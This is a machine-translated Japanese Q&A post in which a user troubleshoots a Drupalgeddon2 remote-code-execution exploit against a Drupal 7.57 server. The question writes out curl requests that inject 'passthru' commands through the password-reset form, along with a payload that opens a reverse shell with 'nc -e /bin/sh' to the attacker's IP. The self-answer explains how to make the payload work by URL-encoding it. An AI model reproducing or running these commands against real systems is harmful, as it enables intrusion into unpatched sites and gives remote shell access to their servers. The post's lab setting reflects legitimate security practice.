web-dev-qa-db-ja.com

drupalgeddonの脆弱性を介してリバースシェルコマンドを送信しても機能しない

drupal 7.57 ubuntuマシンでDrupalgeddon2エクスプロイト( https://Gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708 )を使用しようとしています。

リクエスト:

-curl -k -s 'http://192.168.204.141/?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=whoami' \ --data "form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail new Password" | grep form_build_id .

-curl -k -i "http://192.168.204.141/?q=file/ajax/name/%23value/${form_build_id}" \ --data "form_build_id=${form_build_id}".

他のコマンド(ls、cd ...)とともに実行し、結果を出力します。

しかし、カールリクエストを送信すると:

curl -k -s 'http://192.168.204.141/?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=nc-e/bin/sh 192.168.204.128 5555'--data "form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail new Password" | grep form_build_id .

エラーも出力されず(form_build_id)、ターゲットはハンドラーに接続しません。問題はどこにあると思いますか?

他のペイロードを試しましたが、同じ結果になります。

2
Anass Bekar

-うまくいきました! +私のような将来のnoobsの場合、2つの問題がありました。最初に、送信するペイロードをURLエンコードするか、変数に渡し、リクエストで変数を使用してください。 +2番目に、この種の脆弱性を悪用しようとする場合、組み込みのDockerコンテナーなどのすぐに使用できるテスト環境でテストして、ネットワークの構成ミスに加えて、OSとアプリケーションのファイアウォールとルールの問題を回避することをお勧めします。 -一方、あなたが自由で家でこれをいじるだけなら、仮想マシンでこれを自由にテストして、さらに多くの経験と展望を得ることができます。

2
Anass Bekar